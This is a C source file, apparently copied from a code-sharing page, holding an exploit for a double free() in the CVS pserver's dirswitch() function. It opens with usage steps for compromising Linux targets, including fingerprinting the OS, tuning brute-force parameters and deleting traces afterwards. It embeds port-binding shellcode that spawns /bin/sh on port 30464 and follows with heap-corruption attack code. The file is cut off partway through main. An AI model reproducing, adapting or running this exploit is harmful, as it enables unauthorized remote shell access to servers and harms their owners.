📄 cvs_sploit.c
字号:
/*****************************************************************************************************/
/* Exploit for CVS double free() in dirswitch() for Linux pserver */
/* Usage instructions:
Any access to the pserver will work, anonymous is enough.
The exploit tries to bind to port 30464 on the target and exec a shell on connection,
It will connect there itself and pass control to you if it succeeds. Accidentally, this means that
if that port is firewalled, the exploit will fail.
Here's what you need to do:
1. Compile the proggie: gcc -o sploit this_file.c
2. Make sure the target is running Linux, use nmap -O, it won't work unless it's a Linux
3. Run the proggie: ./sploit -r repository -u user [ -p password if not empty ] target_host
4. Look for output, if the exploit doesn't work:
a. If after readjusting in memory ( you will be told when it happens ) the figures that you see
(return codes) are 3's, and nothing else, tweak the -j parameter, the default is 7, but
I had to use 0 on a debian cvs 1.11.1, it worked in the end, you might even try low negative integers
b. If after readjusting you see not only 3's but 0's, occasionally -2's and others,
but 0's are of interest, then chances are the -j is correct, then set the -s to 4,
setting it to 4 means it will bruteforce for longer, but will try every address
5. If successful, clean up the mess after yourself: rm -rf /tmp/cvs*
6. Enjoy it even if you don't break in anywhere :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
/*
Exploit by Igor Dobrovitski, January 2003
And I gave my heart to know wisdom, and to know madness and folly: I perceived that this also is vexation of spirit.
For in much wisdom is much grief: and he that increaseth knowledge increaseth sorrow.
*/
#define NM "Out of memory"
void usage(void);
void die(const char*);
char* ystrdup(const char*);
int connect_to_host(char*, int, int*, int*);
int authenticate(char*, char*, char*, int, int);
char* scramble(char*);
int talk(char*, int);
int get(char*, int, int);
void done(char*, int);
static char *progname;
static int timeout = 1; /* timeout on select() on read() in seconds when reading from target */
static char shellcode[]=
/* I grabbed this shellcode from someone's exploit, thanks heaps to whoever wrote this monster, saved me heaps of time on
a few occasions :)
*/
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80
/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80
/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80
int
main (int argc, char **argv)
{
int i, c, fd_in, fd_out;
int port = 2401;
int dir_len, arglen;
char *user = NULL, *passwd = "", *repos = NULL, *host = NULL;
char outbuf[4096], readbuf[4096];
#define MAX_ARG_SIZE 4085
int got_i, got_low, got_high, got_step, heap_i, heap_low, heap_high, heap_step;
int found = 0;
int version[3];
int jump = 7;
int step = 24;
progname = ystrdup(argv[0]);
while((c = getopt(argc, argv, "a:j:p:r:s:t:u:")) != -1)
{
switch(c)
{
case 'a':
port = atoi(optarg);
if(!port) die("Illegal port");
break;
case 'j':
jump = atoi(optarg);
if(!jump) die("Illegal jump");
break;
case 'p':
passwd = ystrdup(optarg);
break;
case 'r':
repos = ystrdup(optarg);
break;
case 's':
step = atoi(optarg);
if(!step) die("Illegal step");
break;
case 't':
timeout = atoi(optarg);
if(!timeout) die("Illegal timeout");
break;
case 'u':
user = ystrdup(optarg);
break;
default:
die("Couldn't parse options");
}
}
if(!(user && repos)) usage();
if(optind != argc - 1) usage();
host = ystrdup(argv[optind]);
signal(SIGPIPE, SIG_IGN);
/* Check server version */
if(connect_to_host(host, port, &fd_in, &fd_out))
die("Couldn't connect");
if(authenticate(repos, user, passwd, fd_in, fd_out))
die("Couldn't authenticate");
strcpy(outbuf, "version\n");
if(talk(outbuf, fd_out))
die("Couldn't talk to server");
readbuf[0] = 0;
while(!strchr(readbuf, '\n'))
{
if(get(readbuf + strlen(readbuf), sizeof(readbuf) - strlen(readbuf), fd_in) < 0)
die("Couldn't get from server");
}
fprintf(stderr, "%s\n", readbuf);
sscanf(readbuf, "%*[a-zA-Z()\t ]%d.%d.%d", &version[0], &version[1], &version[2]);
if(version[0] * 100 + version[1] * 10 + version[2] > 214) /* version > 1.11.4 */
{
fprintf(stderr, "This version of cvs is immune to the bug we're trying to exploit\n");
exit(0);
}
/* Find the right length to malloc() */
for(dir_len = 65; dir_len <= 255; dir_len += 8)
{
int count;
int status = 0;
for(count = 0; count < 2; count++)
{
arglen = dir_len + 56; /* to make sure we're allocating chunks of the same size */
/* 56 is a magic number in this context */
/* Connect and authenticate */
close(fd_out);
if(fd_in != fd_out) close(fd_in);
if(connect_to_host(host, port, &fd_in, &fd_out))
die("Couldn't connect");
if(authenticate(repos, user, passwd, fd_in, fd_out))
die("Couldn't authenticate");
/* Root request */
snprintf(outbuf, sizeof(outbuf), "Root %s\n", repos);
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}
/* We need to keep our precious chunk from being coalesced with others when it or a chunk next to it is free()'d
So we allocate chunks before and after it, trying to make them come from the main arena, thus being adjacent to ours
*/
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = '\n';
outbuf[9 + i] = '\0';
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}
/* 1st Directory request, valid directory name, intialize the static ptr, make first allocation of memory for the dir_name */
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len; i++)
outbuf[i + 10] = '0';
outbuf[i + 10] = '\n';
outbuf[i + 11] = '\0';
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}
snprintf(outbuf, sizeof(outbuf), "%s\n", repos);
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}
/* ditto */
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = '\n';
outbuf[9 + i] = '\0';
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}
/* Make the dirswitch double-free dir_name */
for(c = 0; c < 2; c++)
{
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len - 1; i++)
outbuf[i + 10] = '0';
outbuf[i + 11] = '/';
outbuf[i + 12] = '\n';
outbuf[i + 13] = '\0';
if(talk(outbuf, fd_out))
{
count = 2;
break;
}
snprintf(outbuf, sizeof(outbuf), "%s\n", repos);
if(talk(outbuf, fd_out))
{
count = 2;
break;
}
/* Need to clear the pending_error thingy */
strcpy(outbuf, "noop\n");
if(talk(outbuf, fd_out))
{
count = 2;
break;
}
if(get(readbuf, sizeof readbuf, fd_in) < 0)
{
count = 2;
break;
}
}
/* At this stage all calls to malloc of the right size should be returning our chunk, the heap is corrupted,
the first call to malloc() will allocate the chunk, and strcpy() our memory addresses into the first 8 bytes,
the second call to malloc() will again return our chunk, passing it through the unlink() and overwriting memory
*/
strcpy(outbuf, "Argument ");
*((void **) (outbuf + 9)) = (void *) ( 0 == count ? 0xbfffffef : 0x01020304);
*((void **) (outbuf + 13)) = (void *) ( 0 == count ? 0xbfffffef : 0x01020304);
for(i = 9; i < arglen; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = '\n';
outbuf[9 + i] = '\0';
for(c = 0; c < 2; c++)
if(talk(outbuf, fd_out))
{
count = 2;
break;
}
/* At this stage, if the dir_len is right, our double-free()'d chunk has been malloc'd twice, and only twice */
talk("noop\n", fd_out);
c = get(readbuf, sizeof readbuf, fd_in);
if(0 == count && 3 == c) /* on the first pass the server doesn't segfault as it's able to write near the address 0xbfffffcf */
status++;
else if(1 == count && (0 == c || -1 == c)) /* on the 2nd pass the server segfaults as it can't write near the address 0x01020304 */
status++;
fprintf(stderr, "%d: %d\n", count, c);
}
if(2 == status)
break;
}
if(dir_len > 255) die("Couldn't find exploitable chunk size");
fprintf(stderr, "Found the right dir_len: %d bytes\n", dir_len);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -